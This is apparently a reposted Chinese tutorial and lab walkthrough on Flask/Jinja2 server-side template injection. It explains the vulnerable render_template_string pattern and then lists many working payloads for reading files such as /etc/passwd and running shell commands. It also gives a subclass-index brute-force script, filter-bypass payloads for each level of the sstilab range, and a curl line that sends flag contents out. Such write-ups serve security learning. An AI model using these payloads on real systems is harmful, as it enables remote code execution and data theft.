前言写过很多的SSTI的题,但是一直没有总结过,最近也算是忙,这次,是稍微写写关于SSTI的东西,以后复习了可以好看看,也不至于每次都拿别人的payload 了解flask框架关于flask的SSTI注入,我们在了解他的注入原理之前,我们先看看flask框架是怎么使用的。 flask基础route装饰器路由 @app.route('/')
使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。 例如 from flask import flask app = Flask(__name__) @app.route('/') def test()' return 123 @app.route('/index/') def hello_word(): return 'hello word' if __name__ == '__main__': app.run(port=5000)
访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word 在用@app.route('/') 的时候,在之前需要定义app = Flask(__name__) 不然会报错 还可设置动态网址 @app.route('/<username>') def hello_user(username):
return 'user:%s'%username
模板渲染方法flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里 render_template() 是用来渲染一个指定的文件的。 render_template_string则是用来渲染一个字符串的。 这个时候我们就需要了解一下flask的目录结构了 ├── app.py ├── static │ └── style.css └── templates └── index.html
其中,static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板 我们写一个index.html <html> <head> <title>{{title}}</title> </head> <body> <h1>Hello, {{name}}!</h1> </body> </html>
这里面需要我们传入两个值,一个是title另一个是name。 我们在server.py里面进行渲染传值 from flask import Flask, request,render_template,render_template_string app = Flask(__name__) @app.route('/') def index(): return render_template('index.html',title='Home',name='user') if __name__ == '__main__': app.run(port=5000)
在这里,我们手动传值的,所以是安全的
但是如果,我们传值的机会给用户 假如我们渲染的是一句话 from flask import Flask, request,render_template,render_template_string @app.route('/test') def test(): id = request.args.get('id') html = ''' <h1>%s</h1> '''%(id) return render_template_string(html) if __name__ == '__main__': app.run(port=5000)
如果我们传入一个xss就会达到我们需要的效果 这就是传入的值被html直接运行回显,我们对代码进行微改。 @app.route('/test/') def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code)
再次传入xss就不能实现了 因为在传入相应的值得时候,会对值进行转义,这样就很能好多而避免了xss这些 所以SSTI注入形成的原因就是:开发人员因为懒惰,没有将渲染模板写成一个文件,而是直接用render_template_string来渲染,当然,如果有传值过程还行,但是如果没有传值过程,传入数据不经过转义,那可能就会导致SSTI注入。 那么漏洞原理就是因为不够严谨的构造代码导致的。 魔法方法和内置属性在写题前,先了解python的一些ssti的魔术方法。
__class__ 用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回<type 'type’> ; 也是类的实例的属性,表示实例对象的类。
__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!! 使用语法:类名.bases
__mro__ 也能获取基类
__subclasses__() 获取当前类的所有子类,即Object的子类
而我们注入就是通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
__init__ 重载子类,获取子类初始化的属性。
__globals__ 函数会以字典的形式返回当前位置的全部全局变量 就比如:os._wrap_close.__init__.__globals__ ,可以获取到os中的一些函数,进行文件读取。 文件读取''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
命令执行''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') // os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。 利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
os
.__init__.__globals__['popen']('type flag').read() 当然,这些子类都不是那么容易找到的,这里贴一个脚本 上文的59就是子类WarningMessage的用它替换下面的_wrap_close即可 for i in range(300): data = {'code': '{{''.__class__.__base__.__subclasses__()['+ str(i) +']}}'} try: response = requests.post(url,data=data) #print(data) #print(response.text) if response.status_code == 200: if '_wrap_close' in response.text: print(i,'----->',response.text) break except : pass
还有jinjia语法下的小脚本。 {% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval('import('os').popen('ls /').read()')}}{% endif %}{% endfor %}
//查看flag {% for c in [].class.base.subclasses() %} {% if c.name=='catch_warnings' %} {{ c.init.globals['builtins'].eval('import('os').popen('cat /flag').read()')}} {% endif %}{% endfor %}
实战关于Flask SSTI 的实战题,其实有很多,但是大多都比较碎,知识点都不怎么集中,虽然可以学习到一些知识,但是并非系统的学习。但是我在一次偶然,发现了sstilab的靶场,是比较系统的可以学习到关于如何绕过过滤的一些知识。并且,新手小白,一般拿到题,都会有些迷茫,这里则会提供多种不同的解决思路。 下面放入每一关过滤的东西,以后要是写题遇到类似的,可以直接对比关卡,拿payload
level 1法一 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('dir').read()')}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('dir').read()')}}{% endif %}{% endfor %}
法二
师傅直接手搓脚本 import requests
url = 'http://127.0.0.1:5000/level/1'
for i in range(300): data = {'code': '{{''.__class__.__base__.__subclasses__()['+ str(i) +']}}'} try: response = requests.post(url,data=data) #print(data) #print(response.text) if response.status_code == 200: if '_wrap_close' in response.text: print(i,'----->',response.text) break except : pass
找到我们使用的需要的子类,构造payload
''.__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read() level 2过滤了{{}},可以使用{%%}代替, 但是{%%} ,没有输出,所以需要我们print
{%print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read())%} 法二
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{%print( c.__init__.__globals__['__builtins__'].eval('__import__('os').popen('dir').read()'))%}{% endif %}{% endfor %} 脚本微改:
data = {'code': '{%print(''.__class__.__base__.__subclasses__()['+ str(i) +'])%}'}
level 3无过滤,但是有回显 语句正确回显correct,语句不正确回显wrong import requests
url = 'http://192.168.0.108:5001/level/3'
for i in range(300): try: data = {'code': '{{''.__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__['popen']('curl http://127.0.0.1:5001/`cat flag`').read()}}'} response = requests.post(url,data=data) except : pass
windows环境反引号没有用,所以本地抓取不到信息 level 4 过滤了中括号 getitem() 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.
{{''.__class__.__base__.__subclasses__()[139].__init__.__globals__.__getitem__('popen')('type flag').read()}}
level 5过滤了了引号和双引号
request.args 在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合 request.args 获取构造参数的内容来绕过限制
POST:
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}} GET:
a=popen&b=type flag level 6过滤了_ 用过滤器绕过| attr() 关于过滤器; 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.
经常使用的的过滤器: length() # 获取一个序列或者字典的长度并将其返回
int():# 将值转换为int类型;
float():# 将值转换为float类型;
lower():# 将字符串转换为小写;
upper():# 将字符串转换为大写;
reverse():# 反转字符串;
replace(value,old,new):# 将value中的old替换为new
list():# 将变量转换为列表类型;
string():# 将变量转换成字符串类型;
join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性
_ 的十六进制编码为\x5f
所以__class__ 可以写成\x5f\x5fclass\x5f\x5f
因为我们需要用十六进制编码_ ,而编码过后的_ 不能和. 直接相连,这个时候就需要过滤器和_ 连接了,所以foo|attr('bar')=foo.bar 十六进制编码和Unicode编码都可以,以及base64编码和rot13等编码去绕过。 payload: ().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read() # 编码后 {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(139)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('type flag')|attr('read')()}} # base64 未绕过成功 {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(139)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('dHlwZSBmbGFn'.decode('base64'))|attr('read')()}}
这里面展示一个unioncode编码 未绕过成功 {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('dir')|attr('read')()}} {{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(139)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('os')|attr('popen')('dir')|attr('read')()}}
level 7过滤了. ,可以使用[] 绕过。 python语法除了可以使用点 .来访问对象属性外,还可以使用中括号[].同样也可以使用**getitem** ``{{()['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('cat flag')['read']()}}
level 8过滤了关键字 关键字过滤,最简单的办法就是字符串拼接,比如'class' 可以写成'cla''ss' 其他方法 1编码 2在jinjia2语法中~可以进行连接,比如:{%set a='__cla'%}{%set aa='ss__%}{{a~aa}} 3使用join过滤器.例如使用{%set a=dict(__cla=a,ss__=a)|join%}{{a}} 会将__cla和ss__ 拼接在一起,或者{%set a=['__cla','ss__']|join%}{{a}} 4使用reverse 过滤器.如{%set a='__ssalc__'|reverse%}{{a}} 5使用replace 过滤器.如{%set a='__claee__'|replace('ee','ss')%}{{a}} 6使用python中的char() {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
level 9过滤数字 __subclasses__()[139] ,我们要塑造139这个数字 使用过滤器|length ,来塑造。
{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{a}} // 12*11+7=139
{% set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('type flag').read()}}
level 10过滤了全局变量 没有了全局变量 {{config}}/{{self}} 均被ban掉,所以得重新寻找一个储存相关信息的变量 发现存在这么一个变量current_app是我们需要的,官网对current_app 提供了这么一句说明 应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。
payload:
{{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}} 拿到{{config}} level 11过滤了'\'', ''', '+', 'request', '.', '[', ']' 过滤的[] 可以通过__getitem__ 绕过,. 可以通过attr 绕过,' ' 可以通过request构造参数代替,但是request被ban了 所以关键就是如何构造' ' 在Level 9 bypass keyword 的扩展中,使用过滤器dict()|join构造关键子的过程中没有出现' ',可以使用这种办法绕过.
{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}
但是,这里的弊端就是构造命令 cat flag 的时候,空格无法识别,所以要如何绕过空格呢?
师傅的思路是这样的: 通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、<以及部分字母.利用过滤器list将其变为列表类型再配合使用索引,就能得到我们想要的.
{% set org = ({ }|select()|string()) %}{{org}} {% set org = (self|string()) %}{{org}} {% set org = self|string|urlencode %}{{org}} {% set org = (app.__doc__|string) %}{{org}}
本地演示一下
当使用urlencode的时候还会出现% ,当其被过滤的时候可以使用。 构造payload 原型payload: ().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
构造: {%set a=dict(__cla=a,ss__=b)|join %}# __class__ {%set b=dict(__bas=a,e__=b)|join %}# __base__ {%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__ {%set d=dict(__ge=a,titem__=a)|join%}# __getitem__ {%set e=dict(__in=a,it__=b)|join %}# __init__ {%set f=dict(__glo=a,bals__=b)|join %}# __globals__ {%set g=dict(pop=a,en=b)|join %}# popen {%set h=self|string|attr(d)(18)%}# 空格 {%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag {%set j=dict(read=a)|join%}# read {{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接
level 12和上一关的区别就是,没有过滤request ,但是过滤了数字。可以通过request.args 传参绕过。 不过request|attr('args')|attr('a') 并不能获取到通过get传递过来的a参数,所以这里得跟换为request.args.get() 来获取get参数
但是一个个构造太长了 所以从羽师傅那里找到一条简短的构造链
{{x.__init__.__globals__['__builtins__']}} 构造payload get: ?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read() post: {%set a={}|select|string|list%} {%set b=dict(pop=a)|join%} {%set c=a|attr(b)(self|string|length)%} {%set d=(c,c,dict(getitem=a)|join,c,c)|join%} {%set e=dict(args=a)|join%} {%set f=dict(get=a)|join%} {%set g=dict(z=a)|join%} {%set gg=dict(zz=a)|join%} {%set ggg=dict(zzz=a)|join%} {%set gggg=dict(zzzz=a)|join%} {%set ggggg=dict(zzzzz=a)|join%} {{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}
level 13
比上面过滤的更多关键字,但是我们依然可以使用上一关的思路 payload {%set a={}|select|string|list%} {%set ax={}|select|string|list%} {%set aa=dict(ssss=a)|join%} {%set aaa=dict(ssssss=a)|join%} {%set aaaa=dict(ss=a)|join%} {%set aaaaa=dict(sssss=a)|join%} {%set b=dict(pop=a)|join%} # pop {%set c=a|attr(b)(aa|length*aaa|length)%} # _ {%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格 {%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__ {%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__ {%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__ {%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__ {%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__ {%set ee=(dict(o=a,s=a)|join)|join%} # os {%set eee=(dict(po=a,pen=a)|join)|join%} # popen {%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag {%set f=(dict(rea=a,d=a)|join)|join%} # read {{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}
总结这次总算是把flask框架的SSTI注入给弄的差不多了,以后遇见了也不会手忙脚乱了。继续加油吧!!! 参考https://xz.aliyun.com/t/10394#toc-7 https://www./docs/share/d300c853-152b-4d65-9161-a5645f1dd77c?#Level-1 https://misakikata./2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3 https://blog.csdn.net/qq_45521281/article/details/106243544 https://blog.csdn.net/qq_45521281/article/details/106252560 http://www./article/p-psmjcwyp-dg.html https://misakikata./2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3 作者:先知社区【w0w】 转载自:https://xz.aliyun.com/t/12181
|